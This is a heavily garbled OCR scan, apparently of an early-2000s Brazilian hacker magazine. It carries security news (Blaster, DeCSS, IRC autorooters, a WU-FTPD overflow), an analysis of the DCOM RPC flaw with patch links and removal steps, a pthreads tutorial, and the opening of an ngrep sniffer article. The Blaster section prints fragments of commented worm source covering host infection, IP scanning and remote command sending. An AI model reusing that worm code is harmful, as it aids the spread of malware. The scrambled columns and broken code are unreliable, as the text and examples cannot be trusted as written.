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A Symantec esta lancando um antivirus para PDAs, o Syman
Handhelds. Ele é feito especialmente para esses computadores pessoais, mesmo que
eles ndo tenham tantos problemas com virus por enquanto. A empresa ja estd
prevenindo os usudrios de portateis desse mal que, mais cedo ou mais tarde,
certamente vird. Com a crescente popularizacao desses aparelhos, contendo
multiplas conexoes a outros periféricos e a Internet (como a wireless), a chance de

comecar a aparecer virus por todos os lados é grande.

Mesmo que a Symantec tenha lancado esse antivirus agora, ela sabe que seu

Se aesenvolver u
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ICO Proposito e a prevencao. A empresa admite que @ muito aiticil ¢

n cavalo de troia para um PDA

tec Antivirus for

tuaimente

MiCrosSoFs Usa 0 Linuxe
concra uirus

Empresa resolveu preparar-se bem
para o ataque

Quando a coisa aperta, o0 jeito é pedir ajuda para a melhor
solucéo. E a propria Microsoft reconhece que a melhor
solucao € o Linux. Com a ameaga causada pelo virus Blaster,
que mandaria as maquinas infectadas fazer um ataque Denial
of Service ao site de update da Microsoft, a empresa nao
teve o que fazer sendo comprar um espaco extra de hospe-
dagem na Akamai, com uma rede global de 15 mil servidores
Linux. O medo aumentava a medida que mais e mais compu-
tadores iam recebendo a praga, que forcava o computador a
reiniciar a todo momento.

Mesmo assim, a ameaca ainda era grande. A sorte da empresa foi
que o virus tinha uma falha: atacava o site windowsupdate.com,
em vez de fazé-lo contra o windowsupdate.microsoft.com. Como
o primeiro é um endereco de redirecionamento, bastou a empresa
interromper esse trafego para nao ter problemas com o ataque.
Mesmo assim, 0 caso tornou-se um emblema de como a empresa
realmente tem, no Linux, a sua solucao ideal na area de servidores.

CcODiGo PAra coPia De DUDS
€ ProiBino NO Gerricorio

norce-americano
DeCSS é ilegal agora

A justica americana, pelo tribunal da Califérnia, esta banindo
de circulacdo o programa DeCSS (De-Content Scrambling
System), conhecido por quebrar o CSS - cédigo de seguranca
anticépia para DVDs.

Depois algum tempo ja na Web, o DeCSS foi levado a julga-
mento pela DVD Copy Control Association (DVD CCA), que
tenta evitar a replicacdo de DVDs pelo programa em questao.
Anteriormente, o DeCSS foilevado a tribunal, mas a sentenca
definiu que a proibicao de publicar o cédigo na Net ia contra a

DBSGI‘HCB PO
Marinha dos EUA leva
brir roubo cracker

yca e sosacem

20 dias para desco-

COrrecoes aucomasicas No uENnoows

PODEM Ser 0BriGacorias

Sem permissao, o sistema podera atualizar sua maquina

Depois da enxurrada de novos virus atormentando a Microsoft, numa medida um pouco
desesperada ela ja esta pensando em fazer com que as atualizacées criticas (aquelas que
maodificam 0s programas quanto a seguranca dos aplicativos com maior vulnerabilidade)

sejam feitas automaticamente. :
Isso esta programado para ser incluido no novo Windows, o Longhorn, mas como a situacao esta feia, estao pensando em
adicionar essa opcao em um novo service pack.
De acordo com muitos analistas em seguranca, para que o Windows XP nao sofra tanto com ataques de virus, essa
atualizacao automatica dos arquivos criticos deve ser adicionada ao sistema operacional o mais rapido possivel. Isso para
que a fama dos produtos da Microsoft nao se denigre mais ainda, principalmente os seus SOs.

Constituicao Ameri-
cana. Nesse novo jul- §
gamento o tribunal da

Califérnia alegou que ndo é uma violacao dos direitos de
liberdade de expressao banir a publicacao de um codigo de
programa de computador que pode ser usado para fazer
copias ilicitas.

O DeCSS serd punido de forma legal, mas todos sabem que isso
nao significa que ele seré extinto. E muito provavel que vocé
encontre esse programa mais facilmente a partir de agora.
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Pelo menos em orgaos governamentais

SUPPORT

WINDOWS SITES

Product Updates

Select Software

The folloving updates are available for your Windows s
than dick the Download button. If you vant to uninstal
updates you already have installed.
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lGlgE:‘ E:)Iandés “Hippies from Hell” é o destaque

IRC iNnUaDe O
WiNnoows

Nova técnica recebe A Holanda é um pais célebre pela sua

comandos direto do chat R T EIII e IiEiEE ﬁl‘me.sjé smemee
feitos sobre o mundo hacker, “Hippies

aiessa famay € de la que

cultura underground. Fazendo Jus

¢ A
o &~
O canto preferido dos hackers na from Hell .

: - me do longa gt e
net se transformou em mais uma Para quem nao sabe, 0 N0 9 . SRR

1 ckers,
base de ataque contra o Windows. se refere a um grupo de ha

Redes de IRC (Internet Relay Chat) . BRCEgIEEACIAEICERS escritores ho|and-e- \
estdo sendo usadas para invadir o ses, responsavel por diversas INovacoes N
falho sistema da Microsoft. Para isso, RCHITEERICEEIEEESEE Qécada dee0
sao usados varios tipos de exploits, “Hippies from Hell” é o primeiro filme 4

on-line do programa Waag Connect,

eto criado pela Waag Society /
co um espaco de rede pu
feréncias hackers europélia .
Club TOOOL. Lockpic
chave para tal ato.
Hack-Tice, em 1993, eles d

incluindo um que explora a recente

falha descoberta no servico Remote um proj

Procedure Call (RPC). para oferecer ao publi

Os hackers on-line usam os progra- Além de mostrar varias con

mas para comprometer servidores contém o nascimento do chkpnck Sport ‘

Windows e controld-los remotamen- abrir uma tranca sem danifica-la ou ‘usar uma

te através das redes de IRC. Nos anos 80, 0 grupo publicoua ievnsta hacketr G

A principio, técnicos da Symantec seria o primeiro provedor holandés s \.ntertr)\ee ,o filme, ou acesse 0 sl
achavam que se tratava de um Leia a secao Subculture para saber mais sobr :

blica cultural expenmer\tal, :
< 30 ar livre, 0 documentario também

k é 0 nome dado a arte de se

eram inicio ao que
te oficial, http:/

worm, mas analisando arquivos hippies.waag.org
deixados para tras em um servidor

atacado, chegaram a conclusao de cnmunicacau dnonima

que se tratavam de exploits. Os Ferramenta hacker usa spoofing para ocultar remetentes de dados
programas tém sido acoplados para

criar uma ferramenta de ataque Os hackers que reme-
remoto. Eles sdo classificados como tem dados sensiveis

autorooters e atuam como um IRC pela Internet e pre- ;ﬁ g P
bot, escutando canais da rede IRC e ferem ficar no ano- p e
recebendo comandos dos atacantes nimato agora con-
a partir dali. A ferramenta também tam com mais uma

pode escanear e comprometer alternativa que promete facilitar bastante a comunicacao com outros especialistas.

computadores vulneraveis a falha no Trata-se do NCovert, uma ferramenta de comunicacdo que utiliza técnicas de spoofing (disfarce)
RPC do Windows. para ocultar a fonte das informacoes e dados que trafegam pela Web.

Grosso modo, o NCovert cria um canal secreto de comunicacac, no qual esconde quatro caracteres
de dados do ISN (Inicial Sequence Number) dos cabecalhos, que, nos pacotes de dados de uma
rede, sao 0s campos responsaveis por informacoes vitais sobre a origem desses mesmos
pacotes, como os enderecos IP (Internet Protocol).
A ferramenta foi apresentada durante uma conferéncia hacker em Los Angeles, a Black
Hat Briefings. Logico que ela poderd ser usada para fins escusos, mas, de um modo geral,
é uma excelente opcao para pessoas que, por motivos de forca maior, precisem ter sua
» identidade preservada (como certas testemunhas em processos judiciais).
A técnica do NCovert tera mais dificuldade de ser aplicada com o IPv6, mas para o
criador da ferramenta Mark Lovelace, pesquisador sénior em seguranca da empresa
BindView, a nova versao do IP trard, em compensacao, mais dados que poderéo ser
ocultados nos cabecalhos.

Site: www. bindview.com
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problemas no codigo feito pela Microsoft, e sim por codigo de programas de

Explorer, lembre-se: a culpa é de terceiros. (contribuiu K_Dash_T34)
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Comecou o contra-ataque. Scott Charney, chefe de estratégia de seguran-
dos “paus” no sistema Windows é causado por codigos mal-feitos de

Chefe de seguranca da Microsoft nega problemas
Charney estava analisando os resultados da ferramenta de diagnosticos
Dr.Watson. Segundo o executivo, “metade dos crashes no Windows n
terceiros”, pedindo assim um maior rigor nos testes dos softwares lancados
Assim, da proxima vez que o Windows der pau quando vocé abrir o Internet

para rodar no sistema operacional da Microsoft.

programas de terceiros.
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Eric Raymond n3o s

aprova essa atitude

Depois de processos e mais proces-
sos envolvendo a SCO e a IBM pelo
possivel uso indevido de codigos do
Unix (de propriedade da SCO) em
distribuicoes Linux, o site oficial

daquela empresa vem sendo alvo de varios ataques. O ultimo deles foi
novamente um DoS, feito, sequndo Eric Raymond, por um membro muito

antigo da comunidade Free Software e da infra-estrutur

a da propri
Internet Raymonc ; b 145

1 diz ndo saber exatamente a identidade do cidadao NES
d0 e com ataques de DoS que a situacao entre a SCO e o
Free Software vai ser solucionada doj

comunid

acrescenta que n

eito que os representantes desta
ade querem. Pelo contrario, a investida pod
proporcoes mu

mais pr

: era dar a disputa
Ito maiores e mais dificeis do que se Imaginava, como m

: aise
0C€ssos, Ndo mais brigando por patentes

mas também relacionados a
outras situacoes geradas pelos atagues

; solucao para esse caso, mas, enquanto
d em tramite, os ataques ao site da SCO devem parar e a briga, ser

Parece que est4 longe de haver uma
ele est

resolvida somente nos tribunais
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§ /’"’ do cracker era coletar senhas e usar o servidor como ponto de partida para outros
ataques. Apesar disso, 0s responsaveis pelo projeto decidiram fazer uma varredura em

todos os arquivos guardados [a, para evitar contaminacao. Assim muitos arquivos ainda
nao estao disponivels. Por via das duvidas, se voce baixou algum programa do FIP do

GNU recentemente, seria bom dar uma.geral no seu computador
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REaL PLAaYer aBre seu

compucaoor

Cadigo malicioso pode ser usado através do
player

Se vocé tem o Real Player, um dos mais populares players para dudio e video,

08

visados por criadores de virus.

As grandes vulnerabilidades apontadas sao a inseguranca do cliente de e-mail e as

portas deixadas abertas por padrao (falha explorada pelo Blaster). Além disso, um
firewall muito ristico e complicado (deve ser iniciado a cada conexao com a Internet)
também é citado como um problema.

O pior é gue os tais servicos que usam as portas abertas (como o RPC) nao tém utilidade
pratica nenhuma para o usuario.

A leitura do artigo deixa uma certeza: ou a Microsoft muda sua politica de seguranca ou
seus usuarios serao alvos cada vez mais faceis para os virus.

Flle Sessions Settings Help

LiNUA insSseGguro=2

Servidor de FTP permite execucoes de
comandos indevidos

1 L 5 | 138¢ 141k
Se voce ¢ um daqueles gue pensam que so 0 Windows e 0s Choose : For b Ip): al
softwares que rodam nele sao vulneravels a invasoes hackers, st 3 l %
esta na hora de rever seus conceitos i : = eag ;

Recentemente, uma fatha que possibilita ataques do tipo bufter
overtlow (transbordamento de buffer) foi descoberta no
servidor FTP para Linux WU-FTPD

Os ataques butfer overflow ocorrem quando um butfer (area

temporaria de armazenamento de dados) recebe mais informa !_: \ia oatie i ;

COeS li\\ que e capaz \I\‘ (]ll.llt*.” QIHHLIU 1SSO acontece, 0s

dados literalmente “transbordam™ para outros butfers, corrompendo ou sobrescrevendo dados que estejam neles. Os dados “transbor
dantes” sao, entao, usados por hackers para dar instrucoes ao sistema e quebrar sua seguranca

A vulnerabilidade do WU-FTPD se encontra na funcao “fb_realpath()”, que calcula o tamanho de uma string (sequiéncia de simbolos ou
valores) concatenada. O erro permite que, por meio do butfer overflow, um hacker execute comandos com privilegio de root

Q problema afeta as versoes de 2.5.0 ate 2.6.2 e pode ser explorado env sistemas Linux com kernel nas versoes 2.0.x ou 2.4 x. O erro ja

for cortigido mediante um patch, disponivel no site i wuztod org
Brechas no kernel

Alias, 0 proprio kernel 2 4.x possut fathas que, alem de permititem que usuarios locais tenham acesso privilegiado ao sistema ou possam
expor informacoes sensivels, tambem possibilitam ataques do tipo DoS (Denial of Service, ou negacao de servico)
Q alerta for dado pela Red Hat e divulgado no site Securty Focus (i securityfocus.comrbi 8235, Felizmente, ja existem formas de

cormngir as vulnerabilidades (v secwrrtyfocus. convarchive/ 17329752

rent RealPlayer

Rea Player, aceitam esse tlpo de arquivo SMIL
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por Fernando Giannaccari - psy@psbox.org

O Bug utilizado pelo
Worm Blaster

rimeiro, agradeco a oportunidade de escrever Mostrarei, passo a passo, como a falha e o novo tormento
novamente para a revista e peco aos leitores da Microsoft, o Blast.worm, trabalham em conjunto para dar - kR Worm:

um interesse maior nesta matéria, pois se trata dor de cabeca aos administradores de sistemas (Windows).

9
|

de uma falha recente e perigosa para servidores Além disso, conheca métodos de prevencao, correcao e eli- £y Ly o B T : Foi desenvolvido um worm — chamado W:

Windows de todos os portes. minacdo de ambos, worm e falha. e 3 3 i conhecido como Lovsan ou MSBtast) qU’

iﬂﬂlﬂf

Falha: DCom RPC 3y
Nivel: Critico : Microsoft Windows NT Enterp@{; Server 4.0 SP5
Sistemas afetados: Microsoft Wmdows NT Enterprise Server 4.0 SP4 this
* Microsoft Windows NT 4.0 i I ise Se : s : » -— money and fix your software!!”
* Microsoft Windows 2000 Microsoft Windows NT Enterprise Server 4.0 SP2 = : G o Que quer dizer:
* Microsoft Windows XP Microsoft Windows NT Enterprise Server 4.0 SP1 : s . “Eu 56 queria dizer que TE A
* Microsoft Windows Server (TM) 2003 Microsoft Windows NT Enterprise Server 4.0 o : : bill gatezinho, por que vocé
T R g & = = Microsoft Windows NT Server S - \
g i i FwrT ey e g Microsoft Windows NT Serveﬁl%sif‘“sﬁ
B i ; icrosoft Windows NT Server 4.0 SP5

D M8 gt

bitraria de coédigos maliciosos com privilégios de admi-

Ela também pode se expor a outras portas que o RPC EM

A exploracao dessa vulnerabilidade pode resultar em execu-
(Endpoint Mapper) “escuta”. Sao elas: 139, 135, 445 e 593.

Windows. A falha se deve a falta de um limite de pedido de

o
I59)
o
8
=
o
o
©
i
(1o
N
= S
o @
i ) : i o)
(3] = © 23 8
(=]

@ S —
© o =) = =
© o e o Lu
= S = = Y
= s 5 g g
-g © ig © o
vl © b
¥ Cary -8 (9] (Y o
M (D] w0 i2) 8 |8'
/ P ©
= S 5 o e

— e =
S S 10, B 5 3 2

i
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() w =3 ~ (%)

PC-Cillin’

~ Blogueie o acesso externo por meio de um firewal a prefe cia, pois hosts &
Via porta tcp/135, além de explorar essa falha. Os ace& ep<terno ela devem ser
ara enderecos seguros ou somente tnternos;d : ; 1
A implementacao de multlplas camadas de seguranca,
remotas de ataque. i ;

b

como fire!
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Microsoft Windows Server 2003 Enterprise Edition:
Microsoft Patch WindowsServer2003-KB823980-x86-
ENU.exe
http://microsoft.com/downloads/
details.aspx?Familyld=F8EOFF3A-9F4C-4061-9009-
3A212458E92E&displaylang=en

Utilitario de remocao:

Para vocé que é hospedeiro do
virus ou apresenta os sintomas basi-
cos, (RPC Failure e rebooting), pe-
gue o kit de remocao:

: £ Wi . i lition 6A-bit -
M|crosoft Patch WlndowsServerZOOB KB823980- :a64-
ENU.exe
http://microsoft.com/downloads/ 7
details.aspx?Familyld=2B566973-C3FO-4EC 1-995F -
017E35692BC7&displaylang=en

http:/
securityresponse.symantec.com/
avcenter/FixBlast.exe

Vocé deve proceder desta maneira:
§ Enquanto o seu computador esti-
: ver inicializando, aperte F8 e selecio-
| ne SAFE MODE (Modo de Seguran-
ca). Uma vez dentro, rode o arquivo

Corregoes: . W . - i tch Windows2000- -X86-ENU. Microsoft Windows Server 2003 Standard Edition :
: il : Microsoft Patch WindowsServer2003- K8823980
Estamos de acordo que algo deve ser feito depois de removido ou ap6s o prOCe | ENU exe
so de prevencao do worm. Temos que corrigir a falha. Para isso, a Microsoft Pﬁrffﬁf!“”""  aried i oy http://microsoft.com/downloads/
patches de correcao para cada versdo afetada. Basta dar download e executé-los | s - details.aspx?Familyld=F8EOFF3 AEQ;'MC-AOST@G@
Pate ter il oo, | ' ' ' icrosoft Wi 3A212458E92E&displaylang=en
* Alguns patches requerem pelo menos o Windows Service Pack 1 1 NT Enterprise Server 4.0 SP6a: : :

1 7 i 1 Microsoft Patch Q%Z 98@1«EXE : MLLQS_Q_f_LWlD_dDMLS_S_QDLeLZ_QDB_MLEdeLL
| Vocé pode encontra-los em: . j http://microsoft. Comfdo"f“&adﬂ Microsoft Patch WindowsServer2003-KB823980-x86-ENU.exe
encrencas. ¥ 4 details.aspx?Familyld=2CC66F4E-2 17E-4FA7-BDBF- http://microsoft.com/downloads/
' ndows 2000 Adva 1 DF77A0B9303Fdisplaylang=en : details.aspx2Familyld=F8EOFF3A-9F4C-4061-9009-
/ 3A212458E92E&displaylang=en

| FixBlast.exe e espere pela remocao.
Rode novamente em caso de qual-
quer duvida.
Feita a remocao do Worm, rode o
Patch da Microsoft (endereco de
download abaixo) e livre-se de

v

Microsoft Patchﬁ,Q! 32 398@?-EXE Microsoft Windows XP_64-bit Edition SP1:
http-//microsoft'*co%/dovv’i%ads/ Microsoft Patch WindowsXP-KB823980-ia64-ENU.exe
details. aspx7Fam¢Iy1d%gC"C6‘§F4E -217E-4FA7-BDBF- http://microsoft.com/downloads/
~ ©  details.aspx?Familyld=1BOOF5DF-4A85-488F-80E3-
- C347ADCCA4DF1&displaylang=en

Microsoft Patch Q823980i.EXE
http:/microsoft.com/dow loads/
details. aspx7Fam|ly1d‘b COFO160-64FA-424C-A3C1=
C9FAD2DC65CA&d|§%IayEa?ib*—en

details. aspx7Fam|IyId 2CC66F4E-217E-4FA7- BDBF-
F77A0B9303F&displaylang=en 5

0s0ft Window er 200 l-,-.-l

osoft Windows Server 2003 Datacen
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Ve ko

# i
' :

// Retor
return

R

Bl ot

long mysterious_duword

'éurr yord
alijl;

es e codigo-fonte comentados

Escrito por Marcos Velasco
marcos@velasco.com.br

http://www.velasco.com.br
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buf[Bx4A] (unsigned iqt]bs;
buf[Bx4C] [unsigngd ipt) 8;
sprintf ( G§u£1[4], “%d”, msipaddr ]; sockoptsretval = setsnckopf[rﬁ;
bufi[8] = [unsigned short) B8; 2, Goptval,
buf1[9] =,jbnsigned short) O;

om[ s, 6buf, Ox284, NULL,

[unsigned long] 4 J];

if ( sockoptsretval == -1 ] 5 ; '{ ‘ s_loc_ret;

return;

do arquivo (de si

D

pen( filename, “rb”

om;

) . Pt ' B PPROT -
: : » i ﬁ gy 2 endto [ : 2alen, NULL,
ruct suckadd:; Ei“‘ £ 5 W e ' <&l 51 G .

flrése[ thisfile ] ;

// Termina thread
ExitThread( 8 );

// Incrementa IPs
void inc_tvals/()
{
inc_tvals_start:
// Estah n
(%% . XXX . XXX . O8I

{27,
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// Infecta Host
infect_host[ SOCKET s, char *cp

& ( Sﬁame,
.sa_family = 2;

/ Acessa via @i : ; %
eAntE [ name.§ ata, —%d2.. h

".-

s,
"t

¥

5

&

| §
g

3

4 E

cmdbuffer ), NULL J;

gned short)
Sleep( 2888 );

close_socket:
// Fecha sock

§

) B
g
//xf nuia command

sprintf( em

/ Aguarda 2 segundos
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ioctlsocket( ss[i * 4], OxB884BB7E,

argp ) ;
}

1/ Tgnfa 28 IPs...
cfor s edi= D: i < 28
{0 ; :

;
ine_tvals () ;
ti{ Gephef%d . %d. %d . %d”, t1l, t2,

iﬁet addr( GBcp J;
o .

NULL, Gtimeout ) < 1 ]
{

namelen = 18;

// Obtem
peer conectada ao

,g?getﬁéerﬂamé”<ss['
g v

- struct WSAData WSAD
truct hostent *p

nome do executavel

leNameA[ NULL, filename,

conectado a
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Processos e

IThreads

oda a execucao de um programa, sob o ponto de

vista do sistema operacional, é discutida com base em

uma unidade, a qual chamamos de processo. O
processo engloba desde o momento em que executamos o
programa, quando este € carregado pelo kernel e movido para a
memoria, até a construcao de seu ambiente.

Mas qual é o ambiente necessario? Um programa precisa ter
seu espaco de dados, registros como PC, SP, tabela de alocacao
de arquivos, os file descriptors, entre outros dados. E um esforco
de CPU consideravel construir esse ambiente, conhecido como o
contexto do

multos progr

programa. Em um ambiente que pode rodar

f

, ou tarefas (multitasking), ocorre a troca

constante de contextos.

Para o0 nosso estudo, vamos fixar que temos apenas uma CPU -
)S casos com mais processadores sao tratados de forma ligeira-
mente diferente. Pois bem, tendo apenas uma CPU, apenas

uma” memoria, a tarefa do sistema operacional é gerenciar

esses recursos. No estudo de sistemas operacionais, a parte
ic

algoritmos e implementacoes desse gerenciamento

é um dos mais densos, e é o que gera 0s resultados mais aparen-
tes ao usuario.

Voltando aos processos, imagine o kernel do sistema
operacional redando o processo 1 e, em um intervalo de acesso
ao I/0 (ou ao mesmo de tempo, dependendo da
implementacao), rodando o processo 2. Ele coloca o processo 1
em um estado de sleep, recria o contexto do processo 2 e retira
0 mesmo do estado de sleep. Os algoritmos variam, mas o que
deve ser notado é que o contexto do programa € reconstruido e
alterado o tempo todo. Essa explicagao, grosso modo, ajuda a
entender o consumo de CPU e o tempo que leva a geracao de
um processo completo, como aqueles que utilizamos ao chamar
fork() dentro de um programa.

Em muitos casos, como, por exemplo, o de um servidor Web, o
programa foi projetado para esperar uma conexao e, quando a
mesma chegar, gerar um novo processo para ela e retornar ao
modo de espera de conexao, deixando 0 processo novo cuidar
dessa requisicao - imagine a quantidade de processos criada em
um ambiente de muitos acessos!

Esse modelo serve muito bem para varias tarefas, mas existe
um outro modelo que deve ser analisado e levado em conta no
projeto: as threads. A plataforma escolhida para estudarmos

e 0 assunto € o Linux, mas como é algo generalizado, esta

presente nos mais diversos sistemas operacionals

Seguindo a definicao canonica, thread é um processo mais
eve”, sendo que o significado de leve aqui diz respeito ao custo
fe CPU (tempo) e ao algoritmo que € usado para criar e gerenciar

uma thread - que necessita de um contexto mais simples do que

um processo. Alids, uma thread compartilha o contexto com

outras dentro de um processo, e apenas alguns dados do contexto
2107 Sa0 Necessarios para cria-la.

Falando, mais uma vez, genericamente, quando fazemos um
programa simples, um hello world qualquer, temos uma thread
apenas. Neste caso, a analogia segue uma das definicoes da
palavra thread: caminho a ser passado. Temos apenas um
caminho de codigo que nosso programa segue, e podemaos

construir um programa com varios caminhos de COdlgO,

assincronos ou sincronos. Além do controle de fluxo de dados,

temos o controle do fluxo do codigo, em varios niveis e de
forma simultanea

Saindo da parte tedrica, vamos ver alguns exemplos utilizando a
POSIX Threads, ou pthread (a biblioteca que ja vem instalada na
maioria das distribuicoes), visto que é usada por muitos progra-
mas. Se a sua instalacdo nao a possui, procure-a e instale-a da
forma que mais Ihe convier. Necessitaremos também do gcc
instalado e funcionando.

O primeiro programa demonstra a criacao de 5 threads,
rodando em paralelo, e um loop principal. Este loop principal vai
imprimir uma frase de 1 em 1 segundo, e cada thread (de 0 a 5)
vai imprimir uma frase contendo seu ID, nimero identificador, de
N em N segundos (sendo N o nimero da thread), ou 6, caso a
thread for 0. Foram utilizadas chamadas para s/eep()para que o
programa rode lentamente e seja possivel observar a assincronia
entre as threads (cada uma vai rodar em seu tempo).

Quando o programa é interrompido pressionando control + ¢, a
propria saida ja desativa todas as threads.
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Programa 1 - hello_world.c
/* multi hello world usando threads */

<stdio.h>

#include <pthread.h>
#define MAXTS /* 5 threads
testar */

#include

para

/*
recebe um parametro que indica o

numero da thread ;
faz um sleep de <n>

para demonstrar cada
thread funcionando

segundos,

separadamente
*/
void *print_hello (void *oi)
while (1) {
fprintf(stdout,”\t Hello
world thread - id: %d\n”,

if((int)oi==08) sleep(6];

else sleep((int)oi);

int main (int argec,
/* declarando as
cada thread */
pthread_t threads[MAXT];
int a;
for (a=8; a< MAXT; a++]) {
fprintf (stdout,”Criando
thread id: %d\n”, a);

char **argv) ({
variaveis para

pthread_create(6threads[a], NULL,
print _-hello,  [veid *)a];
}
while (1) {
fprintf(stdout, “Loop
principal do programal\n”);
sleep (1) ;

Para compilar o programa, utilize a linha

(int)oi) ;.

blocos de execucao para formar o caminho desejado.
Granularidade de operacoes significa justamente isto: blocos,
operacoes pequenas, mas completas.

$ cc hello _world.c -o
-lpthread

hello_world

Aopcao -Ipthread indica que o compilador deve linkar o

programa com a biblioteca pthread, como citado anteriormente. As secoes criticas devem ser protegidas - tais como as variaveis

e estruturas de dados, que nao podem ser modificadas
ou lidas simultaneamente -, para que race
conditions dificeis de se tratar sejam evitados.
Race condition é um fenémeno que ocorre
quando duas fontes distintas executam
operacdes semelhantes ou complementa-
res em um objeto que deve ser
acessado de forma serial, ou individu-
al. Um programa com esses cuidados
pode ser chamado de thread safe,
ou seja, programa seguro para ser
utilizado com threads.

Neste programa, podemos notar todas as
threads trabalhando desordenadamente,
mas convivendo no mesmo processo.
Obviamente existem elementos de
controles para bloqueio e comuni-
cacao entre cada uma das
threads. Uma vez executada a
thread, ela é destruida, por
isso 0 artifico do loop com
while, para manté-las
rodando

O proximo programa
implementara a comunicacao
entre threads utilizando um
outro conceito associado,

Outro item interessante &
que, durante a criacao da
thread, pthread_create,
pudemos passar um
parametro para a funcao
que ela ird executar. Dentro
dessa funcao, outras threads
poderiam ser criadas, nao
sendo privilégio da funcao
main()cria-las.

chamado mutex, ou
mutual exclusion. Essa
comunicagao vai servir
para sincronizar as
threads, uma vez que
i nem sempre o
comportamento
assincrono é desejavel,
Uma thread pode ficar
esperando que outra
complete uma operacao,

Portanto, nesse exemplo,
apenas alocamos variaveis
para representar cada thread,

pthread_t e criamos uma a
e isso e particularmente

util guando montamos um
fluxo de dados sensiveis entre
as operacoes do programa.

uma utilizando-se da mesma
funcao, apenas definindo um
parametro para poder
diferencia-las.

O projeto de um programa Na figura 1, temos um

utilizando threads é muito importan- exemplo de race condition
acessando uma variavel chamada
a, com duas threads que tém
como objetivo ler, modificar e

! repor o valor na mesma variavel

te para que os procedimentos sejam
separados segundo um conceito de
granularidade de operacoes e de

procedimentos completos. Inicial-

mente, é dificil pensar desse modo, Em um sistema sem o controle

mas, com o tempo e uso, Vamos Nos citado, terfamos situacoes seme-

acostumando a dividir o programa em lhantes a demonstrada.

Thread 1 Thread 2 Varialvel a

Lé variavel a

Multiplica por 2 | L& variavel a 1000
valor: 2000 valor: 1000

Escreve o Soma 40

Escreve o

1040
valor em a

figura 1 - Exemplo de race condition

Sem um controle de quem esta lendo ou escrevendo, nao ha
como garantir a integridade dos dados. Esse conceito de
operacao minima por thread também pode ser chamado de
granularidade, ou seja, qualquer operacao com a variavel a
deveimpedir outras threads de lerem ou modificarem. O fluxo
correto, entao, é o da figura 2.

Programa 2 - pthread_mutex.c

/*

* este programa visa demonstrar
como utilizar um mutex

* para controle de acesso a um
dado global

=

<stdio.h>
<pthread. h>

#include
#include

int a; /* variavel global */
pthEeead t = to] St D /% - duas
AT

pthread_mutex_t
mutex=PTHREAD_MUTEX_INITIALIZER; /*
mutex global */

threads

*threadil [uoid *0i)
int local_a;

void

tmutex ) ;
“Thread 1

pthread_mutex_lock (
fprintf (stdout,
a=%d\n”, a);

25
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local_a=a;

local_a=local_a*2;

a=local_a;

fprintf (stdout,
a=%d\n”; ~a);

pthread_mutex_unlock (

fprintf (stdout,
a=%d\n”, a);

sleep (1) ;

“Thread 1

tEmutex ) ;
“Thread 1

*thread2 (void *o0i) {
int local_a;
pthread_mutex_lock (
fprintf (stdout,
a=%d\n”., .al;
local_a=a;
local_a=local_a+408;
a=local_a;
fprintf (stdout,

a=%d\n”, aJ;
pthread_mutex_unlock [
fprintf (stdout,

a=%d\n”, a);

sleep (1) ;

void

GEmutex J;
“\tThread @2

“\tThread @2

tmutex ] ;
“\tThread =2

char

(int argc,
a=10800;
fprintf (stdout,”Variavel a:
Ed\ns sale;
pthread_create (6t_1,

int main **argu)] {

NULL,

&threadl, NULL];
pthread_create (6t_2,

tthread2, NULL];
pthread_join(t_1,
pthread_join(t_2,

NULL,

NULL] ;
NULL] ;

Para compilar, use o comando

cc pthread_mutex.c -o
-lpthread

pthread_mutex

Mutexes sao dispositivos de exclusao mutua utilizados para
sincronizar threads. Nesse exemplo pudemos notar como um
mutex foi travado, sendo que a segunda thread so teve
acesso a ele apos o destravamento. Foi declarada inicialmen-
te uma variavel:

pthread_mutex_t
mutex=PTHREAD_MUTEX_INITIALIZER;

Esta variavel, ja inicializada, é de escopo global, e pode ser
acessada por qualquer funcao. Dentro das threads, a cada acesso
a variavel a, checamos da seguinte forma:

pthread_mutex_lock ([ &mutex ] ;
codigo para  acessar a
variavel a
pthread_mutex_unlock (
Emutex ] ;

No exemplo, copiei o valor para uma variavel local e fiz as
operacoes necessarias. Poderia ter feito isso diretamente na
variavel global a.

Thread 2

Thread 1 Varialvel a

Lé variavel a
valor: 1000 1000
variavel “travada”

Lé variavel a
variavel travada
aguardar

Multiplica por 2
valor: 2000

Escreve
o valor em a

variavel a

2000

Lé varidvel a

valor: 2000 2000
variavel “travada”

Soma 40

valor: 2040 2000
Escreve

Libera

varidvel a 2040

figura 2 - Fluxo correto sem race

condition

Outra forma de sincronismo sao as variavers de condicdo, ou seja,
um mecanismo que pode suspender e resumir o funcionamento de
uma thread, dada a satisfacao de uma certa condicao. O proximo
exemplo ilustra bem o funcionamento desse mecanismo.

Programa 3 - pthread_cond.c

/*
* demonstracao de conditional
variables

2

#include <stdio.h>
#include <pthread.h>

pthread_cond_t
my_cond=PTHREAD_COND_INITIALIZER;
pthread_mutex_t
my_mutex=PTHREAD_MUTEX_INITIALIZER;

int frame=0;

vioid *task 1 (veid: ]
sdene gl

forantE fstderr, “Captura
frame (%d)\n “, frame) ; )

sleep (1] ;

pthread_cond_signal (6my_cond] ;

forintt (stderr, “Sineromniza
frame (%d)\n”, frame] ;

frame++;

if (frame ==2) frame=8;

void *task_ 2 [void) {
char myframe=0;
for o )
myframe=£frame;
pthread_cond_wait (&my_cond,
&Emy_mutex] ;
" fprintf(stderr,”\t\tGrava
frame (%d)\n”, myframe]) ;

}

ikt main (int arge’;, char **argu) {
pthread_t thread_1, thread_2;

fprintf (stdout,”Criando

sthreads\n”) ;

pthread_create (6thre@d_1, NULL,
fuedd *)task 1, NULL]);
pthread_create(6thread_2, NULL,
(void *)task_2, NULL] ;
pthread_join(thread_1, NULL) ;
pthread_join(thread_2, NULL] ;

O exemplo anterior implementa um pequeno mecanismo virtual

gue executa 3 etapas: a captura, sincronia e o salvamento de um
pseudoframe de imagem. Esse mecanismo preveé 2 buffers, de

forma que, enquanto um buffer captura a imagem, o segundo
sincroniza (sincronizar significa, neste caso, disponibilizar) e esta
pronto para salvar a imagem em disco. Dessa forma, pode ser
aproveitado o maximo desse sistema utilizando threads

Este artigo demonstrou © conceito basico de threads, utilizar
do Linux e pthreads para ilustrar os efeitos e possibilidades. Alén
dos recursos apresentados, temos ainda semaforos e outros

mecanismos de controle

Na realidade, o ponto mais importante é projetar o programa
de forma correta, com as operacoes bem definidas. Dessa forma,
a montagem e execucao da idéia utilizando threads fican
simplificadas, e sem erros dificéis de localizar

Referéncia

puting/tutorialsiworkshops/workshop/pthreads/MAIN. htmk

743




Sniffer com o ngrep

SNIFFER COM NGREP

Todas as pessoas que estudam ou
trabalham com hacking ou seguranca da
informacao, ja se depararam com o termo
